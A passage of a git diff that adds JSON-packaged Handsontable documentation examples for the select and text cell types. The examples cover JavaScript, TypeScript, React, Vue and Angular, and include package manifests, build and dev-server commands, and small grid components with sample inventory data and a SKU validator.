\"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['2017', 'Honda', 10],\n ['2018', 'Toyota', 20],\n ['2019', 'Nissan', 30],\n ],\n colWidths: [70, 90, 80],\n colHeaders: ['Year', 'Make', 'In stock'],\n columns: [\n {},\n {\n type: 'select',\n selectOptions: ['Kia', 'Nissan', 'Toyota', 'Honda'],\n },\n {},\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/select-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..5d2e3c95 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Select cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['2017', 'Honda', 10],\n ['2018', 'Toyota', 20],\n ['2019', 'Nissan', 30],\n ],\n colWidths: [70, 90, 80],\n colHeaders: ['Year', 'Make', 'In stock'],\n columns: [\n {},\n {\n type: 'select',\n selectOptions: ['Kia', 'Nissan', 'Toyota', 'Honda'],\n },\n {},\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/select-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..4ae8ee55 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Select cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/select-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..2691dfd7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Select cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/select-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..ab8d8fb2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Text cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-text-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n { sku: '004821', category: '032', quantity: 142, unitPrice: 18.5 },\n { sku: '000093', category: '032', quantity: 0, unitPrice: 42.0 },\n { sku: '017640', category: '015', quantity: 67, unitPrice: 9.99 },\n { sku: '002210', category: '015', quantity: 310, unitPrice: 4.25 },\n { sku: '008875', category: '048', quantity: 24, unitPrice: 129.0 },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['SKU', 'Category code', 'Quantity', 'Unit price ($)'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n { data: 'sku', type: 'text' },\n { data: 'category', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n { data: 'unitPrice', type: 'numeric' },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/text-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__angular__example2.ts.json new file mode 100644 index 00000000..fbbe3a2c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Text cell type · Adding a validator · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst skuValidator = (value: unknown, callback: (isValid: boolean) => void) => {\n callback(/^\\d{6}$/.test(String(value)));\n};\n\n@Component({\n selector: 'example2-text-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n { sku: '004821', supplier: 'Harbor Goods', quantity: 142 },\n { sku: '000093', supplier: 'Alpine Supply Co.', quantity: 0 },\n { sku: '017640', supplier: 'Harbor Goods', quantity: 67 },\n { sku: '002210', supplier: 'Crestline Wholesale', quantity: 310 },\n { sku: '008875', supplier: 'Alpine Supply Co.', quantity: 24 },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['SKU', 'Supplier', 'Quantity'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n { data: 'sku', type: 'text', validator: skuValidator, allowInvalid: false },\n { data: 'supplier', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/text-cell-type/angular/example2.ts","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example2","exampleTitle":"Adding a validator","docPermalink":"/text-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..1e0d9afa --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Text cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n data: [\n { sku: '004821', category: '032', quantity: 142, unitPrice: 18.5 },\n { sku: '000093', category: '032', quantity: 0, unitPrice: 42.0 },\n { sku: '017640', category: '015', quantity: 67, unitPrice: 9.99 },\n { sku: '002210', category: '015', quantity: 310, unitPrice: 4.25 },\n { sku: '008875', category: '048', quantity: 24, unitPrice: 129.0 },\n ],\n colHeaders: ['SKU', 'Category code', 'Quantity', 'Unit price ($)'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'sku', type: 'text' },\n { data: 'category', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n { data: 'unitPrice', type: 'numeric' },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/text-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..a828c37c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Text cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n { sku: '004821', category: '032', quantity: 142, unitPrice: 18.5 },\n { sku: '000093', category: '032', quantity: 0, unitPrice: 42.0 },\n { sku: '017640', category: '015', quantity: 67, unitPrice: 9.99 },\n { sku: '002210', category: '015', quantity: 310, unitPrice: 4.25 },\n { sku: '008875', category: '048', quantity: 24, unitPrice: 129.0 },\n ],\n colHeaders: ['SKU', 'Category code', 'Quantity', 'Unit price ($)'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'sku', type: 'text' },\n { data: 'category', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n { data: 'unitPrice', type: 'numeric' },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/text-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example2.js.json new file mode 100644 index 00000000..cf0c4a2d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Text cell type · Adding a validator · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example2');\nconst skuValidator = (value, callback) => {\n callback(/^\\d{6}$/.test(value));\n};\nnew Handsontable(container, {\n data: [\n { sku: '004821', supplier: 'Harbor Goods', quantity: 142 },\n { sku: '000093', supplier: 'Alpine Supply Co.', quantity: 0 },\n { sku: '017640', supplier: 'Harbor Goods', quantity: 67 },\n { sku: '002210', supplier: 'Crestline Wholesale', quantity: 310 },\n { sku: '008875', supplier: 'Alpine Supply Co.', quantity: 24 },\n ],\n colHeaders: ['SKU', 'Supplier', 'Quantity'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'sku', type: 'text', validator: skuValidator, allowInvalid: false },\n { data: 'supplier', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/text-cell-type/javascript/example2.js","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example2","exampleTitle":"Adding a validator","docPermalink":"/text-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example2.ts.json new file mode 100644 index 00000000..ca8acb1f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__text-cell-type__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Text cell type · Adding a validator · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
